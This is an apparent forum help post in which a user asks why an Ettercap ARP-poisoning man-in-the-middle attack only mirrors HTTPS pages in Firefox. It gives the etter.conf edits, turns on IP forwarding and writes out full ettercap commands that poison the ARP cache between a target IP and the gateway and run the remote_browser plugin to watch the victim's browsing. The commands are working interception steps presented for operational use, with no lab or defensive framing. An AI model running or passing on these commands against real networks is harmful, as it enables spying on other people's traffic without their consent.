Ubuntu :: Ettercap Arp:remote Not Working Only Shows HTTPS Pages In Firefox

I am using unbuntu as root. I've made all the edits to my etter.conf file as follows:

[privs]
ec_uid = 0
ec_gid = 0

and:

remote-browser = "firefox -remote openurl (http://%host%url)"

I also turn on ipTables. I then start my attack as follows:

ettercap -T -Q -M arp:remote -i eth1 /client-ip/ // -P remote_browser

echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -Q -M arp:remote -i eth0 /target_ip/ /gateway_ip/ -P remote_browser

My problem is Firefox only shows https:// pages and not regular pages like google. I'm stumped. I have no clue why. I've tried other versions of linux. Different computers and still the same result. If I turn quiet off I see in my terminal all the traffic.
